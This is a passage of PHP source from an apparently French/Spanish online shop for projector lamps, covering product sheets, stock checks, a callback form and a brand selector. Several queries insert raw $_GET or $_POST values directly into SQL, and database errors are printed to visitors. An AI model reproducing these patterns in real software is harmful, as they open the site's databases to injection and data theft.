class="le_prixx"> <div class="prixttc" style="color:#954815; font-size:1.1em; position:absolute; margin-top:-70px; margin-left:100px; ">'.$prixttc.'&nbsp;'.$ttc.' <div style="font-size:0.8em;">'.$this->locint->getData('compo_tva','maintext').'</div> <div class="dispblock" style="font-size:0.8em;">'.$prixht.'</div> </div> <div style="background:#ff6600; width:250px; padding-bottom:10px; height:35px; border-radius:10px; behavior: url(PIE/PIE.php); margin-left:0px; vertical-align:line-height;"><br/> <!-- <a style="text-decoration:none;color:white; font-weight:normal; font-size:1.3em;" href="index.php?main_page=index&action=buy_now&products_id='.$id.'" title="'.$this->locint->getData('imgbtnbuy','title').'" alt="'.$this->locint->getData('imgbtnbuy','alt').'" class="btn btn-danger"><i class="icon-white icon-shopping-cart"></i> '.$ajouterPanier.'</a> --> <div style="margin-top:-10px;text-decoration:none; text-align:center; font-weight:normal; font-size:0.9em;"> <a style="color:#fff;" href="'.$link.'">'.PLUS_DE_DETAIL.'<br/><span style="color:#fff;">'.$qry_row[libelle_constructeur].'</span><span style="color:#ffa;"> '.$ref_sans_elplp.'</span></a> </div> </div> </div><br/>'; //***** fin } // descendre le selecteur pour qu'il suive le scroll if($count >4){ if($this->browser != "MSIE"){ echo'<script type="text/javascript"> $(document).ready(function(){ $(window).scroll(function(){ var selecteur = $("#selecteur"); var height_chapeau_modeles = $("#chapeau_modeles").height(); if($(window).scrollTop()>400){ selecteur .stop() .css({"background":"url(hpl_images/oooooo.png)","border-radius":"10px"}) .animate({"marginTop": ($(window).scrollTop() + height_chapeau_modeles + 50) + "px"}, 100); }else{ selecteur.css({"marginTop": "180px","background":"none"} ); } if(!checkvisible("#rappel_temoignage_fiche")){ var y = $("#rappel_temoignage_fiche").offset().top; selecteur.stop().animate({"marginTop": (y-70) + "px"}, 100); } }); function checkvisible( elm ) { var vpH = $(window).height(); // Height de l\'écran var st = $(window).scrollTop(); // Scroll Top var y = $(elm).offset().top; return (y > (vpH + st)); } }); </script>'; }elseif($this->browser == "MSIE"){ echo'<script type="text/javascript"> $(document).ready(function(){ $(window).scroll(function(){ var selecteur = $("#selecteur"); var height_chapeau_modeles = document.getElementById("chapeau_modeles").offsetHeight; //alert(height_chapeau_modeles); if($(window).scrollTop()>400){ //alert($(window).scrollTop()); selecteur .stop() .css({"background":"url(hpl_images/oooooo.png)","border-radius":"10px"}) .animate({"marginTop": ($(window).scrollTop() + height_chapeau_modeles )+"px"}, 100); }else{ selecteur.css({"marginTop": "50px","background":"none"} ); } if(!checkvisible("#rappel_temoignage_fiche")){ var y = $("#rappel_temoignage_fiche").offset().top; selecteur.stop().animate({"marginTop": (y-170) + "px"}, 100); } }); function checkvisible( elm ) { var vpH = $(window).height(); //alert(vpH); // Height de la fenêtre var st = $(window).scrollTop(); // Scroll Top var y = $(elm).offset().top; return (y > (vpH + st)); } }); </script>'; } } if($count<2){ echo '<br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/>'; } echo'</div>'; } private function faireTableComposants(&$jeucomposants){ $count=0;$rowcount=0; echo '<table id="composants" style="width:99%" class="zoncat"><tr class="pair">'; While ($qry_row=mysql_fetch_array($jeucomposants)){ if (!empty($this->ctxnav->params["serie"])){ //si on est en vue filtrée sur série $seriepos=strpos($qry_row[libelle_produit],$this->ctxnav->params["serie"]); if ($seriepos===False||$seriepos>0) continue; //et que le produit hote n'en fait pas partie, on passe au suivant } $count+=1; if ($count>3){ $count=1;$rowcount+=1; $clsattrib=($this->estPair($rowcount))?"pair":"impair"; echo '</tr><tr class="'.$clsattrib.'">'; } $dataLabel = isset($this->ctxnav->params['libelle_composant'])?'data_OI2':'data_OI'; $this->lienproduit=$this->locint->getData($dataLabel,'href'); $link = $this->lienproduit.'-'.$qry_row[libelle_constructeur].'-'.str_replace(chr(176),'-',$qry_row[ref_constructeur_composant]).'.php';//transformation des slashs en virgule pour le rewriting echo '<td> <a class="dynamicblock" href="'.$link.'" title="'.$this->labelproduit.' '.$qry_row[libelle_constructeur].' '.$qry_row[libelle_produit].'">' .$qry_row[ref_constructeur_composant]. '</a> </td>'; } echo '</tr></table>'; echo '<br/>'; } private function faireVueComposants($ctxrateau,&$jeuenreg,$composantUnique=FALSE){ //ctxrateau=0 si l'appel provient d'une recherche, =1 si provient de la navigation par menu $nbenreg=mysql_num_rows($jeuenreg); $clsattrib=($nbenreg>1)?'redbold':'normal'; if(!$composantUnique){ //$presentation='<span class="'.$clsattrib.'">'.$nbenreg.' '.$this->locint->getData('data_VC','title').'</span>'.$this->locint->getData('data_VC','maintext').$this->ctxnav->params['libelle_constructeur'].' '.$this->ctxnav->params['libelle_produit'].':'; //$presentation = UNE_REFERENCE_DE_LAMPE_POUR_VOTRE_VIDEOPROJCTEUR.'<b><span style="color:#005566;">'.strtoupper($this->ctxnav->params['libelle_constructeur'].' '.$this->ctxnav->params['libelle_produit']).'</span></b>'; $fiche_produit = FICHE_PROJ; $plus_detail = PLUS_DE_DETAIL2; $ref_vp = strtoupper($this->ctxnav->params['libelle_constructeur'].' '.$this->ctxnav->params['libelle_produit']); $lampe_pour_vp = LAMPE_POUR_VIDEOPROJECTEUR.' '.$ref_vp; } else{ //$presentation = $this->locint->getData('data_VC2','title').$this->ctxnav->params['libelle_constructeur'].': '; $presentation = UNE_REFERENCE_DE_LAMPE_POUR_VIDEOPROJCTEURS.' <b>'.strtoupper ($this->ctxnav->params['libelle_constructeur']).'</b>: '; $sql = 'SELECT code_type_produit,libelle_constructeur,libelle_produit FROM el_v_composants WHERE ref_constructeur_composant="'.$this->ctxnav->params['libelle_composant'].'" AND libelle_constructeur ="'.$_GET['constructeur'].'" # ligne ajoutée le 04/04/2013 pour filtrer par constructeur quand la même ref de lampe pour plusieurs constructeurs '; $qry = mysql_query($sql)or die('Erreur SQL !<br />'.$sql.'<br />'.mysql_error()); while($row = mysql_fetch_row($qry)){ $this->lienproduit=$this->locint->getData('data_'.$row[0],'href'); $link = $this->lienproduit.'-'.$row[1].'-'.str_replace(chr(176),'_',$row[2]).'.php';//transformation des slashs en virgule dans le libelle_produit pour le rewriting $presentation .= '<a class="dynamicblock" href="'.$link.'" title="">'.$row[2].'</a>,'; $ref_vp .= $row[2].','; } $presentation = str_replace(',',', ',substr($presentation,0,-1)); $ref_vp = strtoupper ($this->ctxnav->params['libelle_constructeur']).' '.substr($ref_vp,0,-1); $fiche_produit = FICHE_LAMPE; $plus_detail = PLUS_DE_DETAIL; (strtoupper(trim ($this->ctxnav->params['libelle_constructeur']))=="EPSON")? $type = TYPE.' ':$type=""; $lampe_pour_vp = LAMPE.' '.$type.strtoupper ($this->ctxnav->params['libelle_constructeur']).' [LAMPE] '.POUR_VP; $p = "lampe"; } //echo "<p>$presentation</p>"; $i=0; //pour controler les id des fiches produit plus bas //Affichage du(des) composant(s) While ($qry_row=mysql_fetch_array($jeuenreg)){ $i++; //Détermination de la chaîne ($baliseimgcompo) pour l'affichage de l'image associée au composant switch ($this->ctxnav->params['code_type_produit']){ //Structure switch pour le cas où la typologie produit s'étofferait case 'OI': $filename='hpl_images/prds/'.$qry_row[ref_interne_composant].'.jpg'; if (file_exists($filename)) { // c'est bon on ne fait rien } else { $filename='hpl_images/lampe.png'; } $baliseimgcompo='<img id="imglampe" width=110 alt="'.$this->labelproduit.' '.$this->ctxnav->params['libelle_constructeur'].'" title="'.$this->labelproduit.' '.$this->ctxnav->params['libelle_constructeur'].'" src="'.$filename.'"/>'; break; } //Affichage de la table du(des) composant(s) //$this->faireTableComposant($qry_row[id_composant],$qry_row[ref_interne_composant], // $qry_row[le_prix],$qry_row[libelle_produit],$qry_row[libelle_constructeur],$fiche_produit, $plus_detail,$i); if($p == "lampe"){$lampe_pour_vp = str_replace("[LAMPE]",str_replace('OI-','',$qry_row[ref_interne_composant]),$lampe_pour_vp);} $this->faireTableComposant($qry_row[id_composant],$qry_row[ref_interne_composant], $qry_row[le_prix],$ref_vp,$qry_row[libelle_constructeur],$fiche_produit, $plus_detail, $lampe_pour_vp, $presentation, $i); //Affichage des témoignages Clients //c'est une mauvaise place ici dans le while!! //if($this->browser == "MSIE"){ //$this->faireTemoignage(4,$_GET['constructeur'],$this->browser,0); //$this->faireTemoignage(4,$_GET['constructeur'],$this->browser,2);//on augmente de 2 à chaque appel à fairTemoignage sinon il ya répétition du dérnier témoignage listé précédemment $this->faireTemoignage_bis($_GET['constructeur'],$this->browser); // } // Mise à jour du cache des produits $construc = ($qry_row['libelle_constructeur'] == "Epson") ? ucfirst($this->tip)." ".$qry_row['libelle_constructeur'] : $qry_row['libelle_constructeur']; $params_produits=array('ctp'=>$qry_row['code_type_produit'], 'lc'=>$construc, 'lp'=>$qry_row['libelle_produit'], 'll'=>$qry_row['ref_constructeur_composant']); $this->cacheproduit->updateCP($params_produits); If($composantUnique) break; $this->i_max = $i; //echo '<p class="infolegale">'.$this->locint->getData('infolegale','maintext').'</p>'; } if($this->i_max ==0)echo'<div style="height:250px; width:600px; position:relative;"></div>';//pour que footer0 descende bien en bas //Affichage du 2ème block info-pub (1er est sur la page d'accueil) echo '<div id="advblock2" style="'.$this->locint->getData('advblock2','style').'">';echo "\n"; echo '<ul>';echo "\n"; echo '<li id="advblock2_li1" style="'.$this->locint->getData('advblock2_li1','style').'"><span id="advblock2_span1" style="'.$this->locint->getData('advblock2_span1','style').'">'.$this->locint->getData('advblock2_span1','maintext').'</span></li>';echo "\n"; echo '<li id="advblock2_li2" style="'.$this->locint->getData('advblock2_li2','style').'"><span id="advblock2_span2" style="'.$this->locint->getData('advblock2_span2','style').'">'.$this->locint->getData('advblock2_span2','maintext').'</span></li>';echo "\n"; echo '<li id="advblock2_li3" style="'.$this->locint->getData('advblock2_li3','style').'"><span id="advblock2_span3" style="'.$this->locint->getData('advblock2_span3','style').'">'.$this->locint->getData('advblock2_span3','maintext').'</span></li>';echo "\n"; echo '<li id="advblock2_li4" style="'.$this->locint->getData('advblock2_li4','style').'"><span id="advblock2_span4" style="'.$this->locint->getData('advblock2_span4','style').'">'.$this->locint->getData('advblock2_span4','maintext').'</span></li>';echo "\n"; echo '</ul>';echo "\n"; echo '</div>';echo "\n"; /* if($this->browser=="MSIE"){ echo'<div style="width:100%; height:200px; margin-top:-60px;">'; echo'<div id="rappel_temoignage_fiche" style=" width:100%; height:30px; text-align:center; color:#ffa; background: url(hpl_images/orange2.png);"> T&#233;moignages Clients </div>'; echo '<div id="client1" style="width:383px; margin-left:3px; height:160px; border:1px solid #aaa; margin-top:0px; text-align:center; "> <div id="client1_0" style="padding:10px; color:#880;"> <table> <caption>Achat d\'une lampe</caption> <tr> <td><img src="hpl_images/jaune.png" width="" height="" /></td> <td>Achat d\'une lampe par un client de Poiteau<br/><a>lire la suite</a></td> <td><div></div><div><img src="hpl_images/jaune.png" width="" height="" /></div></td> </tr> </table> </div> </div>'; echo '<div id="client2" style="width:383px;height:160px; border:1px solid #aaa; margin-left:385px; margin-top:-162px; text-align:center; "> <div id="client2_0" style="padding:10px; color:#880;"> <table> <caption>Achat d\'une lampe</caption> <tr> <td><img src="hpl_images/jaune.png" width="" height="" /></td> <td>Achat d\'une lampe par un client de Poiteau<br/><a>lire la suite</a></td> <td><div></div><div><img src="hpl_images/jaune.png" width="" height="" /></div></td> </tr> </table> </div> </div>'; echo'</div>'; } */ }//fin faireVueComposants() private function faireTableComposant($id,$refint,$pht,$ref_vp,$marque, $fiche_produit,$plus_detail,$lampe_pour_vp, $presentation, $i){ //Détermination de la référence constructeur du composant $refconstructeur = substr($refint,3); //Détermination Infos Stock, prix TTC, prix HT $infostock=$this->retournerInfoStock($refint); $prixttc=zen_get_products_display_price($id); $htLib = ($_SESSION['languages_id'] == '2') ? ' HT' : ' sin <span style="font-size:0.8em" >I.V.A.</span>'; $prixht='&euro; '.number_format($pht, 2, ',', ' ').$htLib; $ajouterPanier = ($_SESSION['languages_id'] == 3) ? 'Anadir a la cesta' : 'COMMANDEZ'; $ttc = ($_SESSION['languages_id'] == 3) ? 'con I.V.A' : 'TTC'; //Détermination de la source de l'image $paramsImgLamp = array('dir'=>'ampoules-videoprojecteur/','dft'=>'mini_lampe_originale_inside_','suf'=>'_S','ext'=>'.png'); if(file_exists($paramsImgLamp['dir'].$marque.'_'.$refconstructeur.$paramsImgLamp['suf'].$paramsImgLamp['ext'])){ $imgsrc=$paramsImgLamp['dir'].$marque.'_'.$refconstructeur.$paramsImgLamp['suf'].$paramsImgLamp['ext']; } else{ $imgsrc=$paramsImgLamp['dir'].$paramsImgLamp['dft'].$_SESSION['languages_id'].$paramsImgLamp['ext']; } //Affichage de la table du(des) composant(s) //'.$this->locint->getData('compo_bande_refprod','style').' //$this->locint->getData('compo_bande_prix','style').'" //style="'.$this->locint->getData('compo_bande_delai_dispo','style').'" $appel[3]= '<span style="font-size:1.2em;color:red;font-family:Corbel"><em>50.000 clientes</em> satisfechos desde hace 5 a&ntilde;os. &iquest;Un consejo?<br/>&iquest;Una pregunta? Ll&aacute;manos al </span><button class="btn btn-warning btn-small disabled" style="font-family:Arial"> 800 600 932</button>'; $appel[2] = '<span style="font-size:1.2em;;color:red;font-family:Corbel"><em>50 000 clients</em> satisfaits depuis 5 ans. Un conseil ? Une question ? <br/>Appelez nous au </span><button class="btn btn-warning btn-small disabled" style="font-family:Arial"> 01 78 14 03 81</button>'; /* echo '<table id="composant"><tr>'; echo '<td id="compo_bande_refprod" style="background-color:#febf02;color:#214582;font-weight:bold;border:1px solid #fbe504;">'.$this->locint->getData('compo_bande_refprod','maintext').'</td>'; echo '<td id="compo_bande_prix" style="background-color:#febf02;color:#214582;font-weight:bold;border:1px solid #fbe504">Garantie</td>'; echo '<td style="background-color:#febf02;color:#214582;font-weight:bold;border:1px solid #fbe504">'.$this->locint->getData('compo_bande_delai_dispo','maintext').'</td>'; echo '<td id="compo_bande_prix" style="background-color:#febf02;color:#214582;font-weight:bold;padding-right:10px;border:1px solid #fbe504">'.$this->locint->getData('compo_bande_prix','maintext').'</td>'; echo '</tr><tr>'; echo '<td style="border-left:1px solid grey;"><span id="compo_descro">'.$this->locint->getData('compo_descro','maintext').'<span style="text-decoration:underline">'.$this->tip . $refconstructeur.'</span><br/></span> <div style="height:100px;"><img src="'.$imgsrc.'" /></div> <a id="compo_details" style="'.$this->locint->getData('compo_details','style').'" class="dispblock" href="'.$this->locint->getData('compo_details','href').'" title="'.$this->locint->getData('compo_details','title').'">'. $this->locint->getData('compo_details','maintext').'</a> </td>'; $libL = ($_SESSION['languages_id'] == '2') ? 'TTC' : ''; echo '<td style="border-left:1px solid grey;"><img src="hpl_images/patch'.$_SESSION['languages_id'].'.png" /></td>'; echo '<td style="width:140px;border-left:1px solid grey;"">'.$infostock.'</td>'; echo '<td class="prix"><span id="compo_ttc" class="dispblock">'.$prixttc.' '.$libL.'</span> <span id="compo_tva" class="infolegale dispblock">'.$this->locint->getData('compo_tva','maintext').'</span> <span class="dispblock">'.$prixht.'</span><br/> <a style="text-decoration:none;color:#000000;font-weight:normal" href="index.php?main_page=index&action=buy_now&products_id='.$id.'" title="'.$this->locint->getData('imgbtnbuy','title').'" alt="'.$this->locint->getData('imgbtnbuy','alt').'" class="btn btn-danger"><i class="icon-white icon-shopping-cart"></i> '.$ajouterPanier.'</a> </td>'; echo '</tr> <tr> <td colspan="4" style="padding:0;margin:0;border:0;border-right:1px solid black;text-align:right;background-color:black"> <img src="hpl_images/bannieres-interieur'.$_SESSION['languages_id'].'.jpg" /> </td> </tr> </table><br/> <center><div style="margin-bottom:-50px;">'.$appel[$_SESSION['languages_id']].'</div></center> '; */ echo'<script type="text/javascript"> $(document).ready(function(){ //$("#innerWrapper").css({position:"relative"});// crée un décalage en appelant faireTemoignage_bis(); $("#satisfait").css({"margin-top":50+($("#vdproj").height())}); //alert($("#fiche1_'.$i.'").height()+($("#vdproj").height())); var topscroll = $("#fiche1_'.$i.'").scrollTop() ; $("#plus_detail'.$i.'_1").click(function(){ window.scrollBy(0,350); $("#fiche'.$i.'_2").show(function(){"width:100px","height:200px","overflow:hidden"}) ; }); $("#plus_detail'.$i.'_2").click(function(){ $("#fiche'.$i.'_2").stop().animate({marginTop:"-429"},600).fadeOut().animate({marginTop:"0px"}); }); }); </script>'; if($_SESSION['languages_id']==3){$langue = "_sp";}else{$langue = "";} if(file_exists('ampoules-videoprojecteur/images_oi'.$langue.'/'.$marque.'_'.$refint.'_B.jpg')){ $img_src='ampoules-videoprojecteur/images_oi'.$langue.'/'.$marque.'_'.$refint.'_B.jpg'; } elseif(file_exists('ampoules-videoprojecteur/images_oi'.$langue.'/'.$marque.'_B.jpg')){ $img_src='ampoules-videoprojecteur/images_oi'.$langue.'/'.$marque.'_B.jpg'; }else{ $img_src='ampoules-videoprojecteur/'.$marque.'_B.jpg'; } $margin_top = "margin-top:80px;"; $satisfaction_client = SATISFACTION_CLIENT; $satisfaction_client = str_replace('[TEL]',TEL,$satisfaction_client); if($marque == "EPSON"){ $ampoule = "Philips ou OSRAM"; $img_src='ampoules-videoprojecteur/'.$marque.'_B.jpg'; }else{ $ampoule = ORIGINALE; } $ref_sans_elplp = $refconstructeur; $ref_sans_elplp = str_replace('ELPLP','LPLP',$ref_sans_elplp); echo'<div id="fiche'.$i.'_1" style="display:block;margin-left:20px;width:95%; height:420px; position:relative;"><br/> <h1 id="ref" style="color:#556600;font-size:1.3em;text-align:center;">'.$lampe_pour_vp.'<span style=""></span></h1><br/> <p id ="vdproj" style="color:#556600;font-size:1em;text-align:center;">'.$presentation.'</p> <div id="caracteristique1"> <div id="garantie" style="color:#005566;font-weight:bold;">'.GARANTIE.':&nbsp;<span style="color:#005566;">12 mois</span></div><br/> <div id="disponibilite" style="color:#005566;font-weight:bold;">'.DISPONIBILITE.':&nbsp;<span style="color:#ffa139;">'.EN_STOCK.'</span></div><br/><br/> <div id="ref_lampe" style="color:#005566;font-weight:bold;">'.REFERENCE_LAMPE.':&nbsp;<span style="color:#ffa139;">'.$this->tip . $ref_sans_elplp.'</span></div><br/><br/> <div id="livraison" style="color:#005566;font-weight:bold;">'.LIVRAISON.':&nbsp;<span style="color:#005566;">'.DELAI_LIVRAISON.'</span></div><br/><br/> <div id="ampoule" style="color:#005566;font-weight:bold;">'.AMPOULE.':&nbsp;<span style="color:#005566;">'.$ampoule.'</span></div><br/><br/> <div id="nombre_heure" style="color:#005566;font-weight:bold;">'.NOMBRE_HEURE.':&nbsp;<span style="color:#005566;">'.DEUX_MILLE_HEURES.'</span></div> <div id="plus_detail'.$i.'_1" style="margin-left:-5px; background:url(hpl_images/blue2.jpg);color:#005566;text-align:center; "><a style="font-weight:normal;color:#9578f0; cursor: pointer;">'.$plus_detail.'</a><div style="color:#005566;"><a style="cursor: pointer;">'.$this->tip . $ref_sans_elplp.'</a></div></div> </div> <div id="photo_lampe"> <div style=""><img src="'.$img_src.'" width="200" height="200"/></div> </div> <div id="le_prix"><br/><br/> <div id="prixttc" style="color:#954815; font-size:1.4em;">'.$prixttc.'&nbsp;'.$ttc.'</div> <span style="font-size:0.8em;">'.$this->locint->getData('compo_tva','maintext').'</span> <span class="dispblock" style="font-size:0.8em;">'.$prixht.'</span> <div style="background:#ff6600; width:250px;padding-bottom:7px; height:30px; border-radius:10px; behavior: url(PIE/PIE.php); margin-left:65px; vertical-align:line-height;"><br/> <a style="text-decoration:none;color:white; font-weight:normal; font-size:1.3em;" href="index.php?main_page=index&action=buy_now&products_id='.$id.'" title="'.$this->locint->getData('imgbtnbuy','title').'" alt="'.$this->locint->getData('imgbtnbuy','alt').'" > <div style="margin-top:-10px;">'.$ajouterPanier.'</div></a> </div> </div> </div> <div id="satisfait" style=" width:100%; text-align:center; '.$margin_top.' color:#880; font-size:1em;">'.$satisfaction_client.'</div><br/>'; $fiche = $fiche_produit; if($marque == "EPSON"){ $fiche = str_replace("original Inside","Marathon",$fiche); $fiche = str_replace("du constructeur d'origine","de Philips ou OSRAM",$fiche); $fiche = str_replace("ce dernier","ces deux constructeurs",$fiche); $fiche = str_replace("ELPLP","LPLP",$fiche); } $lampe = $this->tip.$ref_sans_elplp; $fiche = str_replace('[LAMPE]', $lampe, $fiche); $fiche = str_replace('[PROJO]', $ref_vp, $fiche); echo '<div id="fiche'.$i.'_2" style="display:none; margin-left:20px; height:420px; position:relative;"> <div id="plus_detail'.$i.'_2" style=" background:url(hpl_images/blue2.jpg);color:#005566;text-align:center;"> <a style="font-weight:normal;color:#9578f0;cursor: pointer;">'.$plus_detail.'</a> <div style="color:#005566;"><a style="cursor:pointer;">'.$this->tip . $ref_sans_elplp.'</a></div> </div><br/> <div id="caracteristique2" style="color:#005566; font-size:0.8em; padding-left:5px; width:100%;"> '.$fiche.' </div> <!-- <div id="photo_lampe" > <div style=""><img src="'.$img_src.'" width="200" height="200"/></div> </div> --> <div id="le_prix" style="margin-top:160px;"><br/><br/> <!-- <div id="prixttc" style="color:#954815; font-size:1.4em;">'.$prixttc.'&nbsp;TTC</div> <span style="font-size:0.8em;">'.$this->locint->getData('compo_tva','maintext').'</span> <span class="dispblock" style="font-size:0.8em;">'.$prixht.'</span> --> <div style="background:#ff6600; width:250px; height:40px; border-radius:10px;behavior: url(PIE/PIE.php); margin-left:65px;"><br/> <!-- <a style="text-decoration:none;color:white; font-weight:normal; font-size:1.3em;" href="index.php?main_page=index&action=buy_now&products_id='.$id.'" title="'.$this->locint->getData('imgbtnbuy','title').'" alt="'.$this->locint->getData('imgbtnbuy','alt').'" class="btn btn-danger"><i class="icon-white icon-shopping-cart"></i> <div style="margin-top:-10px;">'.$ajouterPanier.'</div></a> --> <a style="text-decoration:none;color:white; font-weight:normal; font-size:1.3em;" href="index.php?main_page=index&action=buy_now&products_id='.$id.'" title="'.$this->locint->getData('imgbtnbuy','title').'" alt="'.$this->locint->getData('imgbtnbuy','alt').'" > <div style="margin-top:-10px;">'.$ajouterPanier.'</div></a> </div> </div> </div>'; /* if($_SESSION['languages_id'] == 2 && $marque == "EPSON"){ echo'<img style="padding-left:20px;" src="hpl_images/hotes_EPSON.jpg"><div style="color:#FF5722; padding:20px;">Toutes les ampoules de vid&eacute;oprojecteur Marathon sont fabriqu&eacute;es par Philips et OSRAM</div>'; } */ /**<a href="index.php?main_page=index&action=buy_now&products_id='.$id.'"> <img id="imgbtnbuy" src="'.$this->locint->getData('imgbtnbuy','src').'" title="'.$this->locint->getData('imgbtnbuy','title').'" alt="'.$this->locint->getData('imgbtnbuy','alt').'"/></a>*/ } private function faireVueResultats(){ foreach($this->jeuxmodeles as $type=>$jeu){ $nbenreg=mysql_num_rows($jeu)?mysql_num_rows($jeu):0; Switch ($nbenreg){ case 0: $legend=$this->locint->getData('dataVR1_'.$type,'title'); $cr = '<p>'.$legend.'</p>'; echo $cr;echo "\n"; break; case ($nbenreg>100): $legend=$this->locint->getData('dataVR1_'.$type,'src'); $cr = '<p>'.$legend.'</p>'; echo $cr;echo "\n"; break; default: $legend=$this->locint->getData('dataVR1_'.$type,'alt'); $cr='<p>'.$nbenreg.' '.$legend.'</p>'; echo $cr;echo "\n"; $this->faireTableProduitsHote($jeu); } } foreach($this->jeuxreferences as $type=>$jeu){ $nbenreg=mysql_num_rows($jeu)?mysql_num_rows($jeu):0; Switch ($nbenreg){ case 0: $legend=$this->locint->getData('dataVR2_'.$type,'title'); $cr = '<p>'.$legend.'</p>'; echo $cr;echo "\n"; break; case ($nbenreg>100): $legend=$this->locint->getData('dataVR2_'.$type,'src'); $cr = '<p>'.$legend.'</p>'; echo $cr;echo "\n"; break; default: $this->faireVueComposants(0,$jeu); } } } private function retournerInfoStock($refcomposant){ global $db; if (!$db->connect(DB_SERVER_EU, DB_SERVER_USERNAME_EU, DB_SERVER_PASSWORD_EU, DB_DATABASE_EU, USE_PCONNECT, false)) { // echo PAGE_LISTE_RECHERCHE__PB_LECTURE_STOCK; return 'NO_STOCK'; } else { $tup=""; if (strpos(' '.$refcomposant,'OI-')==1) { $tup = 'OI-'; } else if (strpos(' '.$refcomposant,'MCEL-')==1) { $tup = 'MCEL-'; } else if (strpos(' '.$refcomposant,'BCEL-')==1) { $tup = 'BCEL-'; } $ctr_code = str_replace($tup,'',$refcomposant); $sql = 'select 1 from rv_lampe_eu.el_stock where ( lamp_code = "' . $refcomposant . '" or lamp_code in (select concat("'.$tup.'",lamp_code1) from rv_lampe_eu.el_equivalence where lamp_code2 ="' . $ctr_code . '") ) and qty>50000 order by 1 desc'; //echo $sql;exit; $res=mysql_query($sql)or die('Erreur SQL !<br />'.$sql.'<br />'.mysql_error()); if (mysql_num_rows($res)){ $stock = mysql_fetch_field($res, 0); if ($stock==1){ /*$response = '<span class="dispblock" id="stock_dispo" style="'.$this->locint->getData('stock_dispo','style').'">'.$this->locint->getData('stock_dispo','maintext').'</span>';*/ $response .= '<br/><span id="stock_delai" style="'.$this->locint->getData('stock_delai','style').'"> <center><div style="color:#4d7f12;font-weight:bold "><em>En Stock</em></div><!--<img src="hpl_images/enstock2.gif" />-->'.$this->locint->getData('stock_delai','src').'</center></span>'; }else{ $response = '<span id="stock_delai" style="'.$this->locint->getData('stock_delai','style').'">'.$this->locint->getData('stock_delai','alt').'</span>'; } }else{ $response = '<span id="stock_delai" style="'.$this->locint->getData('stock_delai','style').'">'.$this->locint->getData('stock_delai','alt').'</span>'; } $db->connect(DB_SERVER, DB_SERVER_USERNAME, DB_SERVER_PASSWORD, DB_DATABASE, USE_PCONNECT, false); return $response; } }//fin retournerInfoStock() private function estPair($num){ if($num%2==0){ return true; } else { return false; } } private function faireVueRappel(){ if(isset($_POST["btnizy"])){ if(empty($_POST["nom"]) || empty($_POST["telephone"]) || empty($_POST["motif"])){ echo '<p>Vous n\'avez pas rempli au moins l\'un des champs obligatoires</p>'; $this->faireFormDeRappel(); return; } //Envoi des informations en mail $to = 'info@hotprojectorlamps.fr'; $subject = 'Demande de rappel'; $message = "$_POST[genre] $_POST[nom] $_POST[prenom] ($_POST[email]) demande a être rappelé au $_POST[telephone] pour le motif suivant:"."\r\n".stripslashes($_POST[motif]); $headers = 'From: webmaster@hotprojectorlamps.fr' . "\r\n"; $send=mail($to, $subject, $message, $headers); //Affichage du traitement if($send){ echo 'Votre demande a bien été prise en compte. Un conseiller HotProjectorLamps vous recontactera sous 48 heures.<br/><br/>'; } }else{ $this->faireFormDeRappel(); } } private function faireFormDeRappel(){ echo "<p>Vous souhaitez qu'un conseiller d'HotProjectorLamps vous rappelle gratuitement.</p>"; echo "<p>Pour cela remplissez le formulaire suivant (les champs où figure notre mascotte sont obligatoires):</p>"; echo '<form id="rappel" method="post" action="">'; echo '<label class="genrelbl" for="mme">Mme</label><input type="radio" id="mme" name="genre" value="Mme" checked>'; echo '<label class="genrelbl" for="melle">Melle</label><input type="radio" id="melle" name="genre" value="Melle">'; echo '<label class="genrelbl" for="mr">Mr</label><input type="radio" id="mr" name="genre" value="Mr">'; echo '<label class="rappellbl" for="nom" >Nom</label><input class="rappeltxt rappeloblig" type="text" name="nom" size="40" maxlength="40">'; echo '<label class="rappellbl" for="prenom" >Prénom</label><input class="rappeltxt" type="text" name="prenom" size="40" maxlength="40">'; echo '<label class="rappellbl" for="telephone" >N°Téléphone</label><input class="rappeltxt rappeloblig" type="text" name="telephone" size="20" maxlength="20">'; echo '<label class="rappellbl" for="email" >Email</label><input class="rappeltxt" type="text" name="email" size="40" maxlength="80">'; echo '<label class="rappellbl" for="motif" >Motif</label><textarea id="motif" class="rappeloblig" name="motif" cols="40" rows="5"></textarea>'; echo '<div id="mascotte"><label class="rappellbl" for="mascotte">Cliquez-moi pour envoi</label><input id="btnizy" name="btnizy" type="submit" value=" "></div>'; echo '</form>'; } public function faireSelecteur($get_constructeur, $post_constructeur){ //if( $this->browser == "MSIE")$left="margin-left:-220px; margin-top:10px;"; echo' <div id="selecteur" style="position:absolute; border-radius:40px 0px 30px 0px; margin-left:330px; margin-top:180px; z-index:2; behavior: url(PIE/PIE.php); background:url(hpl_images/ooo.png); text-align:center;"> <div id="fleches" style="position:absolute; margin-left:-55px;'.$left.'"><img id="fleche" src="hpl_images/fleche.png" width="61" height="82" /> </div> <!--<img id="fleche2" src="hpl_images/fleche2.png" width="61" height="82" style="position:absolute; margin-top:20px; margin-left:320px;'.$left.'"/> --> <p style="color:#aaa; font-size:1em; color:#fff;margin-bottom:-7px">'.RECHERCHE_LAMPE.'</p> <form name="select_formul" method="post" action="" > '.'<span style="position:absolute; margin-left:-5px; margin-top:8px;"><img src="hpl_images/un.png" width="22" height="22"/></span>'.' <select id="select_constructeur" name="select_constructeur" onchange="document.select_formul.submit();" > <option value="marque">'.SELECTION_MARQUE.'</option>'; if(!empty($post_constructeur)) $constructeur = $_POST['select_constructeur']; else $constructeur = $get_constructeur; $sql = 'select distinct libelle_constructeur from el_v_composants order by libelle_constructeur asc'; $rst = mysql_query($sql); While ($qry_row = mysql_fetch_array($rst)){ //if(isset($_POST['select_constructeur']) && $_POST['select_constructeur'] == $qry_row['libelle_constructeur'] ){ $selected = "selected"; }else $selected =""; if( $qry_row['libelle_constructeur'] == $constructeur ){ $selected = "selected"; }else $selected =""; echo'<option '.$selected.' value="'.$qry_row['libelle_constructeur'].'">'.$qry_row['libelle_constructeur'].'</option>'; } $margLeft = ( $this->browser == "MSIE") ? "margin-left:13px;" : "margin-left:0px;"; echo '</select><br/> '.'<span style="position:absolute;'.$margLeft.'margin-top:8px;"><img src="hpl_images/deux.png" width="22" height="22"/></span> '.' <select id="select_vproj" name="select_vproj" onChange="window.open(this.options[this.selectedIndex].value,\'_top\')">'; $sql = "select libelle_produit,libelle_constructeur, ref_constructeur_composant,code_type_produit from el_v_composants where libelle_constructeur = '".$constructeur."' order by libelle_produit asc"; $rst = mysql_query($sql); //if(!isset($_POST['select_constructeur']) || 